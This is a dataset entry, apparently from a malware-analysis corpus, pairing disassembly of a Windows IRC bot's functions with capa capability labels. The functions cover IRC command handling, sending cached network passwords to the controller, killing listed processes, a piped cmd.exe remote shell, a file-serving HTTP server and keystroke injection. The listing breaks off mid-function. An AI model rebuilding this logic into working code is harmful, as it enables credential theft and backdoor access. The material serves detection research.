joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402e85
Capabilities:
Get local ipv4 addresses
Get socket information
Get socket status
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2128
call fcn.00407b0c
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
xor esi, esi
inc esi
push 0x1f4
push 0
push 0x4125fc
call sub.CRTDLL.DLL_memset
push 0x10
push 0
push str.000.000.000.000
call sub.CRTDLL.DLL_memset
mov dword [ebp - 0x2120], 0x10
push 0x10
push 0
lea eax, [ebp - 0x2114]
push eax
call sub.CRTDLL.DLL_memset
lea eax, [ebp - 0x2120]
push eax
lea eax, [ebp - 0x2114]
push eax
push ebx
call sub.wsock32.dll_getsockname
movzx eax, byte [ebp - 0x210d]
push eax
movzx eax, byte [ebp - 0x210e]
push eax
movzx eax, byte [ebp - 0x210f]
push eax
movzx eax, byte [ebp - 0x2110]
push eax
push str._d._d._d._d
push str.000.000.000.000
call sub.CRTDLL.DLL_sprintf
call fcn.00402d2e
push 0x40bdc0
push str.000.000.000.000
push 0x40bec0
push 0x40bec0
push str.NICK__s_r_n_USER__s__hotmail.com____s__:_s_r_n
lea eax, [ebp - 0x2000]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0x54
lea ecx, [ebp - 0x2000]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x402f4d
push 0
push eax
lea edx, [ebp - 0x2000]
push edx
push ebx
call sub.wsock32.dll_send
mov dword [ebp - 0x211c], 0x3c
mov dword [ebp - 0x2118], 0
mov dword [ebp - 0x2104], 0
cmp dword [ebp - 0x2104], 0x40
jae 0x402fa3
mov edx, dword [ebp - 0x2104]
mov ecx, edx
add ecx, 1
mov dword [ebp - 0x2104], ecx
mov dword [ebp + edx*4 - 0x2100], ebx
lea eax, [ebp - 0x211c]
push eax
push 0
push 0
lea eax, [ebp - 0x2104]
push eax
push 0
call sub.wsock32.dll_select
or eax, eax
jg 0x402fcd
push ebx
call sub.wsock32.dll_closesocket
xor eax, eax
jmp 0x4030db
push 0x1000
push 0
lea eax, [ebp - 0x2000]
push eax
call sub.CRTDLL.DLL_memset
push 0x1000
push 0
lea eax, [ebp - 0x1000]
push eax
call sub.CRTDLL.DLL_memset
add esp, 0x18
push 0
push 0x1000
lea eax, [ebp - 0x2000]
push eax
push ebx
call sub.wsock32.dll_recv
or eax, eax
jle 0x4030d3
push 0x413583
lea eax, [ebp - 0x2000]
push eax
call sub.CRTDLL.DLL_strcat
lea eax, [ebp - 0x2000]
push eax
lea eax, [ebp - 0x1000]
push eax
call fcn.00407b2c
push 0x413583
lea eax, [ebp - 0x1000]
push eax
call sub.CRTDLL.DLL_strtok
add esp, 0x10
lea edi, [ebp - 0x1000]
and dword [ebp - 0x2128], 0
jmp 0x4030ca
mov ecx, edi
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x40305e
cmp eax, 3
jbe 0x403076
push ebx
push edi
call fcn.00403d68
add esp, 8
mov esi, eax
or esi, esi
jle 0x403084
push ebx
call sub.wsock32.dll_closesocket
mov eax, esi
jmp 0x4030db
lea ecx, [ebp - 0x1000]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x40308d
mov dword [ebp - 0x2128], eax
lea eax, [ebp - 0x2000]
push eax
lea eax, [ebp - 0x1000]
push eax
call fcn.00407b2c
push 0x413583
mov eax, dword [ebp - 0x2128]
lea eax, [ebp + eax - 0x1000]
push eax
call sub.CRTDLL.DLL_strtok
add esp, 8
mov edi, eax
or edi, edi
jne 0x403059
jmp 0x402fcd
push ebx
call sub.wsock32.dll_closesocket
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4035af
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1018
call fcn.00407b0c
push ebx
push esi
push edi
mov ebx, dword [ebp + 0xc]
push 0x41351f
push ebx
call sub.CRTDLL.DLL_strcat
xor esi, esi
push 0x413580
push dword [ebp + 0x14]
call sub.CRTDLL.DLL_fopen
add esp, 0x10
mov edi, eax
or edi, edi
je 0x403695
push 0x13
lea eax, [ebp - 0x1010]
push eax
push 0x413513
push 0
push 0
push 0x409
call sub.KERNEL32.DLL_GetTimeFormatA
push edi
lea eax, [ebp - 0x1010]
push eax
call sub.CRTDLL.DLL_fputs
add esp, 8
lea ecx, [ebp - 0x1010]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x40361e
mov edx, eax
mov dword [ebp - 0x1014], edx
mov ecx, dword [ebp + 0x10]
lea ecx, [ecx]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x403635
mov ecx, dword [ebp - 0x1014]
mov esi, ecx
add esi, eax
push edi
push dword [ebp + 0x10]
call sub.CRTDLL.DLL_fputs
add esp, 8
mov eax, 0x4b
sub eax, esi
mov esi, eax
cmp esi, 0
jle 0x403685
mov dword [ebp - 0x1018], 0
jmp 0x40367d
push edi
push 0x20
call sub.CRTDLL.DLL_fputc
add esp, 8
inc dword [ebp - 0x1018]
cmp dword [ebp - 0x1018], esi
jl 0x40366c
push edi
push ebx
call sub.CRTDLL.DLL_fputs
push edi
call sub.CRTDLL.DLL_fclose
add esp, 0xc
cmp dword [0x4127f0], 0
jne 0x4036a5
xor eax, eax
jmp 0x403743
push 0x413583
push ebx
call sub.CRTDLL.DLL_strcat
add esp, 8
lea ecx, [0x40bc70]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x4036bc
cmp eax, 0
jne 0x4036e2
push ebx
push dword [ebp + 0x10]
push str.__s_
lea eax, [ebp - 0xffc]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0x10
jmp 0x4036ff
push ebx
push dword [ebp + 0x10]
push 0x40bc70
push str.PRIVMSG__s_:__s_
lea eax, [ebp - 0xffc]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0x14
lea ecx, [ebp - 0xffc]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x403708
push 0
push eax
lea edi, [ebp - 0xffc]
push edi
push dword [ebp + 8]
call sub.wsock32.dll_send
cmp eax, 0xffffffff
jne 0x403741
push 0x32
push 0
push 0x40bc70
call sub.CRTDLL.DLL_memset
add esp, 0xc
mov dword [0x4127f0], 0
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403748
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 0xc]
or edi, edi
je 0x403771
push 0
push 0x10
call sub.USER32.DLL_MapVirtualKeyA
push 0
push 0
mov esi, eax
and esi, 0xff
push esi
push 0x10
call sub.USER32.DLL_keybd_event
push 0
movzx eax, byte [ebp + 8]
push eax
call sub.USER32.DLL_MapVirtualKeyA
push 0
push 0
mov esi, eax
and esi, 0xff
push esi
movzx esi, byte [ebp + 8]
push esi
call sub.USER32.DLL_keybd_event
push 0
movzx eax, byte [ebp + 8]
push eax
call sub.USER32.DLL_MapVirtualKeyA
push 0
push 2
mov esi, eax
and esi, 0xff
push esi
movzx esi, byte [ebp + 8]
push esi
call sub.USER32.DLL_keybd_event
or edi, edi
je 0x4037d8
push 0
push 0x10
call sub.USER32.DLL_MapVirtualKeyA
push 0
push 2
mov edi, eax
and edi, 0xff
push edi
push 0x10
call sub.USER32.DLL_keybd_event
pop edi
pop esi
pop ebp
ret
Function at 0x403802
Capabilities:
Send data
Send data on socket
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x420
push ebx
push esi
push edi
lea edi, [ebp - 0x128]
lea esi, [0x412c4c]
mov ecx, 0x4a
rep movsd dword es:[edi], dword [esi]
cmp dword [0x40bebc], 0
je 0x4039f5
cmp dword [0x40bf28], 0
je 0x4039f5
cmp dword [section..bss], 0
je 0x4039f5
push 0
push 2
call dword [0x40bebc]
mov dword [ebp - 0x130], eax
cmp eax, 0xffffffff
je 0x4039f5
mov dword [ebp - 0x128], 0x128
lea eax, [ebp - 0x128]
push eax
push dword [ebp - 0x130]
call dword [0x40bf28]
or eax, eax
je 0x4039ea
cmp dword [ebp + 0x14], 0
je 0x4038ff
lea ecx, [ebp - 0x104]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x403895
push eax
lea edi, [ebp - 0x104]
push edi
call sub.USER32.DLL_CharUpperBuffA
mov ebx, 0
jmp 0x4038f0
push dword [ebx*4 + 0x4120d4]
lea edi, [ebp - 0x104]
push edi
call sub.CRTDLL.DLL_strstr
add esp, 8
or eax, eax
je 0x4038ef
push dword [ebp - 0x120]
push 0
push 0x1f0fff
call sub.KERNEL32.DLL_OpenProcess
mov dword [ebp - 0x12c], eax
push 0
push eax
call sub.KERNEL32.DLL_TerminateProcess
jmp 0x4039cf
inc ebx
cmp dword [ebx*4 + 0x4120d4], 0
jne 0x4038b0
jmp 0x4039cf
cmp dword [ebp + 0x10], 0
jne 0x403980
push 0x1f4
push 0
lea eax, [ebp - 0x324]
push eax
call sub.CRTDLL.DLL_memset
add esp, 0xc
cmp dword [ebp + 0xc], 0
je 0x403941
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 0xc]
push str.PRIVMSG__s_:_s_r_n
lea eax, [ebp - 0x324]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0x10
jmp 0x40395c
lea eax, [ebp - 0x104]
push eax
push str._s_n_r
lea eax, [ebp - 0x324]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0xc
lea ecx, [ebp - 0x324]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x403965
push 0
push eax
lea edi, [ebp - 0x324]
push edi
push dword [ebp + 8]
call sub.wsock32.dll_send
jmp 0x4039cf
push dword [ebp + 0x10]
lea eax, [ebp - 0x104]
push eax
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x4039cf
push dword [ebp - 0x120]
push 0
push 0x1f0fff
call sub.KERNEL32.DLL_OpenProcess
mov dword [ebp - 0x12c], eax
push dword [ebp - 0x130]
call sub.KERNEL32.DLL_CloseHandle
push 0
push dword [ebp - 0x12c]
call sub.KERNEL32.DLL_TerminateProcess
or eax, eax
je 0x4039f7
xor eax, eax
inc eax
jmp 0x4039f7
lea eax, [ebp - 0x128]
push eax
push dword [ebp - 0x130]
call dword [section..bss]
or eax, eax
jne 0x403886
push dword [ebp - 0x130]
call sub.KERNEL32.DLL_CloseHandle
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4043f7
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x600
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
xor edi, edi
jmp 0x40451a
push str._NICK
push dword [edi*4 + 0x4120c0]
call sub.CRTDLL.DLL_strstr
add esp, 8
or eax, eax
je 0x4044d2
push 0x200
push 0
lea eax, [ebp - 0x400]
push eax
call sub.CRTDLL.DLL_memset
push 0x200
push 0
lea eax, [ebp - 0x200]
push eax
call sub.CRTDLL.DLL_memset
push 0x200
push 0
lea eax, [ebp - 0x600]
push eax
call sub.CRTDLL.DLL_memset
push dword [edi*4 + 0x4120c0]
lea edx, [ebp - 0x400]
push edx
call fcn.00407b2c
lea eax, [ebp - 0x400]
push eax
lea eax, [ebp - 0x600]
push eax
call fcn.00407b2c
push str._NICK
lea eax, [ebp - 0x600]
push eax
call sub.CRTDLL.DLL_strtok
push str._NICK
lea eax, [ebp - 0x400]
push eax
call sub.CRTDLL.DLL_strstr
mov esi, eax
add eax, 5
push eax
push 0x40bec0
lea eax, [ebp - 0x600]
push eax
push str._s_s_s_n_r
lea eax, [ebp - 0x200]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0x48
jmp 0x4044ed
push dword [edi*4 + 0x4120c0]
push str._s_n_r
lea edx, [ebp - 0x200]
push edx
call sub.CRTDLL.DLL_sprintf
add esp, 0xc
lea ecx, [ebp - 0x200]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x4044f6
push 0
push eax
lea edx, [ebp - 0x200]
push edx
push ebx
call sub.wsock32.dll_send
push 0x3e8
call sub.KERNEL32.DLL_Sleep
add edi, 1
cmp dword [edi*4 + 0x4120c0], 0
jne 0x40440d
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40452d
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x600
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
xor edi, edi
jmp 0x40464e
push str._CHAN
push dword [edi*4 + 0x4120c8]
call sub.CRTDLL.DLL_strstr
add esp, 8
or eax, eax
je 0x404606
push 0x200
push 0
lea eax, [ebp - 0x400]
push eax
call sub.CRTDLL.DLL_memset
push 0x200
push 0
lea eax, [ebp - 0x200]
push eax
call sub.CRTDLL.DLL_memset
push 0x200
push 0
lea eax, [ebp - 0x600]
push eax
call sub.CRTDLL.DLL_memset
push dword [edi*4 + 0x4120c8]
lea edx, [ebp - 0x400]
push edx
call fcn.00407b2c
lea eax, [ebp - 0x400]
push eax
lea eax, [ebp - 0x600]
push eax
call fcn.00407b2c
push str._CHAN
lea eax, [ebp - 0x600]
push eax
call sub.CRTDLL.DLL_strtok
push str._CHAN
lea eax, [ebp - 0x400]
push eax
call sub.CRTDLL.DLL_strstr
mov esi, eax
add eax, 5
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x600]
push eax
push str._s_s_s_n_r
lea eax, [ebp - 0x200]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0x48
jmp 0x404621
push dword [edi*4 + 0x4120c8]
push str._s_n_r
lea edx, [ebp - 0x200]
push edx
call sub.CRTDLL.DLL_sprintf
add esp, 0xc
lea ecx, [ebp - 0x200]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x40462a
push 0
push eax
lea edx, [ebp - 0x200]
push edx
push ebx
call sub.wsock32.dll_send
push 0x3e8
call sub.KERNEL32.DLL_Sleep
add edi, 1
cmp dword [edi*4 + 0x4120c8], 0
jne 0x404543
pop edi
pop esi
pop ebx
leave
ret
Function at 0x404661
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1000
call fcn.00407b0c
push edi
mov edi, dword [ebp + 0x10]
push 0x4132d2
push edi
call sub.CRTDLL.DLL_strcat
add esp, 8
cmp dword [ebp + 0xc], 0
je 0x4046a0
push edi
push dword [ebp + 0xc]
push str.PRIVMSG__s_:_s
lea eax, [ebp - 0x1000]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0x10
jmp 0x4046b0
push edi
lea eax, [ebp - 0x1000]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 8
lea ecx, [ebp - 0x1000]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x4046b9
push 0
push eax
lea edi, [ebp - 0x1000]
push edi
push dword [ebp + 8]
call sub.wsock32.dll_send
mov eax, 0
pop edi
leave
ret
Function at 0x405430
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x898
push ebx
push esi
push edi
lea edi, [ebp - 0x88f]
lea esi, str.Searsing_for_passwords
mov ecx, 0x17
rep movsb byte es:[edi], byte [esi]
push str.MPR.DLL
call sub.KERNEL32.DLL_LoadLibraryA
mov dword [ebp - 0x878], eax
push 0x10000
call sub.CRTDLL.DLL_malloc
pop ecx
mov dword [ebp - 0x874], eax
mov dword [ebp - 0x870], 0x10000
and dword [ebp - 0x86c], 0
push str.WNetEnumCachedPasswords
push dword [ebp - 0x878]
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x40bf24], eax
or eax, eax
jne 0x4054a0
inc eax
jmp 0x4055e0
lea eax, [ebp - 0x874]
push eax
push 0x40530e
push 0xff
push 0
push 0
call dword [0x40bf24]
mov ebx, dword [ebp - 0x874]
cmp dword [ebp + 0xc], 0
je 0x4054e7
lea eax, [ebp - 0x88f]
push eax
push dword [ebp + 0xc]
push str.PRIVMSG__s_:_s_n_r
lea eax, [ebp - 0x866]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0x10
jmp 0x405502
lea eax, [ebp - 0x88f]
push eax
push str._s_n_r
lea eax, [ebp - 0x866]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0xc
lea ecx, [ebp - 0x866]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x40550b
push 0
push eax
lea edi, [ebp - 0x866]
push edi
push dword [ebp + 8]
call sub.wsock32.dll_send
mov dword [ebp - 0x894], ebx
push ebx
call sub.KERNEL32.DLL_lstrlenA
lea ebx, [eax + ebx + 1]
mov dword [ebp - 0x898], ebx
push ebx
call sub.KERNEL32.DLL_lstrlenA
lea ebx, [eax + ebx + 1]
push 0x866
push 0
lea eax, [ebp - 0x866]
push eax
call sub.CRTDLL.DLL_memset
add esp, 0xc
cmp dword [ebp + 0xc], 0
je 0x405585
push dword [ebp - 0x898]
push dword [ebp - 0x894]
push dword [ebp + 0xc]
push str.PRIVMSG__s_:_s__s_n_r
lea eax, [ebp - 0x866]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0x14
jmp 0x4055a5
push dword [ebp - 0x898]
push dword [ebp - 0x894]
push str._s__s_n_r
lea eax, [ebp - 0x866]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0x10
lea ecx, [ebp - 0x866]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x4055ae
push 0
push eax
lea edi, [ebp - 0x866]
push edi
push dword [ebp + 8]
call sub.wsock32.dll_send
cmp byte [ebx], 0
jne 0x405524
push dword [ebp - 0x878]
call sub.KERNEL32.DLL_FreeLibrary
mov eax, 0
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4055e5
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push ebx
push esi
push edi
mov esi, dword [ebp + 8]
push 0x104
push 0
lea eax, [ebp - 0x104]
push eax
call sub.CRTDLL.DLL_memset
add esp, 0xc
mov ecx, esi
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x40560f
mov edx, eax
sub edx, 1
cmp byte [esi + edx], 0x5c
jne 0x405636
lea ecx, [esi]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x405626
mov edx, eax
sub edx, 1
mov byte [esi + edx], 0
push esi
lea eax, [ebp - 0x104]
push eax
call fcn.00407b2c
push dword [ebp + 0xc]
call fcn.00407632
pop ecx
mov dword [ebp - 0x108], eax
cmp eax, 0xffffffff
jne 0x40565f
or eax, 0xffffffff
jmp 0x4056e6
xor edi, edi
imul eax, edi, 0x214
cmp dword [eax + 0x40c07c], 0
je 0x405677
inc edi
cmp edi, 0x28
jl 0x405661
cmp edi, 0x27
jle 0x40568c
push dword [ebp - 0x108]
call sub.wsock32.dll_closesocket
or eax, 0xffffffff
jmp 0x4056e6
lea eax, [ebp - 0x10c]
push eax
push 0
push edi
push 0x4056eb
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
mov ebx, eax
or ebx, ebx
je 0x4056e4
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 0xc]
push str.HTTP_server_listining_on_poort:__i_root_dir:__s_
lea eax, [ebp - 0x206]
push eax
call sub.CRTDLL.DLL_sprintf
lea eax, [ebp - 0x104]
push eax
push 3
push ebx
push dword [ebp - 0x108]
lea eax, [ebp - 0x206]
push eax
call fcn.00402aea
add esp, 0x24
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x405fd0
Capabilities:
Read and send data from client to server
Read file on windows
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1000
call fcn.00407b0c
push ebx
push esi
push edi
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push dword [ebp + 0xc]
call sub.KERNEL32.DLL_CreateFileA
mov edi, eax
cmp edi, 0xffffffff
je 0x406072
push edi
call sub.KERNEL32.DLL_CloseHandle
push 0x41328c
push dword [ebp + 0xc]
call sub.CRTDLL.DLL_fopen
add esp, 8
mov ebx, eax
or ebx, ebx
je 0x406072
push 0x1000
push 0
lea eax, [ebp - 0x1000]
push eax
call sub.CRTDLL.DLL_memset
push ebx
push 0x1000
push 1
lea eax, [ebp - 0x1000]
push eax
call sub.CRTDLL.DLL_fread
add esp, 0x1c
mov edi, eax
or edi, edi
je 0x40606b
push 0
push edi
lea eax, [ebp - 0x1000]
push eax
push dword [ebp + 8]
call sub.wsock32.dll_send
mov esi, eax
cmp esi, 0xffffffff
je 0x406067
or esi, esi
jne 0x406069
jmp 0x40606b
jmp 0x40601a
push ebx
call sub.CRTDLL.DLL_fclose
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4067d5
Capabilities:
Get socket status

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x10c], 0x1e
and dword [ebp - 0x108], 0
and dword [ebp - 0x104], 0
cmp dword [ebp - 0x104], 0x40
jae 0x406818
mov esi, dword [ebp - 0x104]
inc dword [ebp - 0x104]
mov dword [ebp + esi*4 - 0x100], edi
lea eax, [ebp - 0x10c]
push eax
push 0
push 0
lea eax, [ebp - 0x104]
push eax
push 0
call sub.wsock32.dll_select
or eax, eax
jg 0x406840
push edi
call sub.wsock32.dll_closesocket
or eax, 0xffffffff
jmp 0x406842
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x406bca
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50c
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x10c], 0x1e
and dword [ebp - 0x108], 0
and dword [ebp - 0x104], 0
cmp dword [ebp - 0x104], 0x40
jae 0x406c0d
mov esi, dword [ebp - 0x104]
inc dword [ebp - 0x104]
mov dword [ebp + esi*4 - 0x100], edi
lea eax, [ebp - 0x10c]
push eax
push 0
push 0
lea eax, [ebp - 0x104]
push eax
push 0
call sub.wsock32.dll_select
or eax, eax
jg 0x406c35
push edi
call sub.wsock32.dll_closesocket
or eax, 0xffffffff
jmp 0x406c79
push 0x400
push 0
push 0x408f80
call sub.CRTDLL.DLL_memset
add esp, 0xc
push 0
push 0x400
push 0x408f80
push edi
call sub.wsock32.dll_recv
cmp eax, 1
jge 0x406c65
or eax, 0xffffffff
jmp 0x406c79
mov eax, dword [0x412d90]
cmp dword [eax], 0x52525245
jne 0x406c77
or eax, 0xffffffff
jmp 0x406c79
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x407136
Capabilities:
Check if file exists
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create thread
Create two anonymous pipes
Execute shell command and capture output
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x17c
push edi
call fcn.004070f9
push 0x104
lea eax, [ebp - 0x148]
push eax
call sub.KERNEL32.DLL_GetWindowsDirectoryA
push str.cmd.exe
lea eax, [ebp - 0x148]
push eax
call sub.CRTDLL.DLL_strcat
add esp, 8
lea eax, [ebp - 0x148]
push eax
call sub.KERNEL32.DLL_GetFileAttributesA
cmp eax, 0xffffffff
jne 0x4071b9
push 0x104
lea eax, [ebp - 0x148]
push eax
call sub.KERNEL32.DLL_GetSystemDirectoryA
push str.cmd.exe
lea eax, [ebp - 0x148]
push eax
call sub.CRTDLL.DLL_strcat
add esp, 8
lea eax, [ebp - 0x148]
push eax
call sub.KERNEL32.DLL_GetFileAttributesA
cmp eax, 0xffffffff
jne 0x4071b9
or eax, 0xffffffff
jmp 0x40734c
mov dword [ebp - 0x154], 0xc
mov dword [ebp - 0x14c], 1
and dword [ebp - 0x150], 0
push 0
lea eax, [ebp - 0x154]
push eax
lea eax, [ebp - 0x174]
push eax
lea eax, [ebp - 0x170]
push eax
call sub.KERNEL32.DLL_CreatePipe
or eax, eax
jne 0x4071fc
or eax, 0xffffffff
jmp 0x40734c
push 0
lea eax, [ebp - 0x154]
push eax
lea eax, [ebp - 0x16c]
push eax
lea eax, [ebp - 0x168]
push eax
call sub.KERNEL32.DLL_CreatePipe
or eax, eax
jne 0x407224
or eax, 0xffffffff
jmp 0x40734c
call sub.KERNEL32.DLL_GetCurrentProcess
mov dword [ebp - 0x17c], eax
call sub.KERNEL32.DLL_GetCurrentProcess
push 3
push 0
push 0
push 0x408f70
push eax
push dword [ebp - 0x16c]
mov edi, dword [ebp - 0x17c]
push edi
call sub.KERNEL32.DLL_DuplicateHandle
or eax, eax
jne 0x40725e
or eax, 0xffffffff
jmp 0x40734c
push 0x44
push 0
lea eax, [ebp - 0x44]
push eax
call sub.CRTDLL.DLL_memset
add esp, 0xc
mov dword [ebp - 0x44], 0x44
mov dword [ebp - 0x18], 0x101
mov word [ebp - 0x14], 0
mov eax, dword [ebp - 0x168]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x174]
mov dword [ebp - 8], eax
lea eax, [ebp - 0x164]
push eax
lea eax, [ebp - 0x44]
push eax
push 0
push 0
push 0
push 1
push 0
push 0
push 0x412dde
lea eax, [ebp - 0x148]
push eax
call sub.KERNEL32.DLL_CreateProcessA
or eax, eax
jne 0x4072c8
or eax, 0xffffffff
jmp 0x40734c
push dword [ebp - 0x168]
call sub.KERNEL32.DLL_CloseHandle
mov eax, dword [ebp - 0x170]
mov dword [0x40bc60], eax
mov eax, dword [ebp - 0x16c]
mov dword [0x40bf7c], eax
mov eax, dword [ebp - 0x164]
mov dword [0x40bc68], eax
push dword [ebp - 0x160]
call sub.KERNEL32.DLL_CloseHandle
mov eax, dword [ebp + 8]
mov dword [0x40bca4], eax
cmp dword [ebp + 0xc], 0
je 0x40731f
push dword [ebp + 0xc]
push 0x408120
call sub.CRTDLL.DLL_sprintf
add esp, 8
jmp 0x407331
push 0x413960
push 0x408120
call sub.CRTDLL.DLL_sprintf
add esp, 8
lea eax, [ebp - 0x178]
push eax
push 0
push 0
push 0x40734f
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
xor eax, eax
pop edi
leave
ret
Function at 0x4074e8
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x264
push esi
push edi
mov edi, dword [ebp + 0xc]
mov ecx, edi
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x4074fb
cmp eax, 2
jbe 0x407521
push dword [ebp + 0x10]
push edi
push str.PRIVMSG__s_:_s_r
lea eax, [ebp - 0x264]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0x10
jmp 0x407538
push dword [ebp + 0x10]
push 0x412f5e
lea eax, [ebp - 0x264]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0xc
lea ecx, [ebp - 0x264]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x407541
push 0
push eax
lea esi, [ebp - 0x264]
push esi
push dword [ebp + 8]
call sub.wsock32.dll_send
cmp eax, 0
jg 0x407564
call fcn.004070f9
mov ecx, edi
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x407569
cmp eax, 2
jbe 0x40757f
push 0x5dc
call sub.KERNEL32.DLL_Sleep
xor eax, eax
pop edi
pop esi
leave
ret

Function at 0x407585
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
xor edi, edi
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov esi, eax
cmp eax, 0xffffffff
jne 0x4075aa
or eax, 0xffffffff
jmp 0x40762d
push 0x10
push 0
lea eax, [ebp - 0x10]
push eax
call sub.CRTDLL.DLL_memset
add esp, 0xc
mov word [ebp - 0x10], 2
movzx eax, word [ebp + 0xc]
push eax
call sub.wsock32.dll_htons
mov ebx, eax
mov word [ebp - 0xe], bx
push dword [ebp + 8]
call sub.wsock32.dll_inet_addr
mov dword [ebp - 0x14], eax
cmp eax, 0xffffffff
jne 0x4075ea
push dword [ebp + 8]
call sub.wsock32.dll_gethostbyname
mov edi, eax
or edi, edi
jne 0x4075f9
cmp dword [ebp - 0x14], 0xffffffff
jne 0x4075f9
or eax, 0xffffffff
jmp 0x40762d
or edi, edi
je 0x407609
mov eax, dword [edi + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0xc], eax
jmp 0x40760f
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xc], eax
push 0x10
lea eax, [ebp - 0x10]
push eax
push esi
call sub.wsock32.dll_connect
cmp eax, 0xffffffff
jne 0x40762b
push esi
call sub.wsock32.dll_closesocket
or eax, 0xffffffff
jmp 0x40762d
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x407632
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
push edi
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov edi, eax
cmp eax, 0xffffffff
jne 0x407651
or eax, 0xffffffff
jmp 0x4076a3
push 0x10
push 0
lea eax, [ebp - 0x10]
push eax
call sub.CRTDLL.DLL_memset
add esp, 0xc
mov word [ebp - 0x10], 2
movzx eax, word [ebp + 8]
push eax
call sub.wsock32.dll_htons
mov esi, eax
mov word [ebp - 0xe], si
and dword [ebp - 0xc], 0
push 0x10
lea eax, [ebp - 0x10]
push eax
push edi
call sub.wsock32.dll_bind
or eax, eax
je 0x407690
or eax, 0xffffffff
jmp 0x4076a3
push 5
push edi
call sub.wsock32.dll_listen
or eax, eax
je 0x4076a1
or eax, 0xffffffff
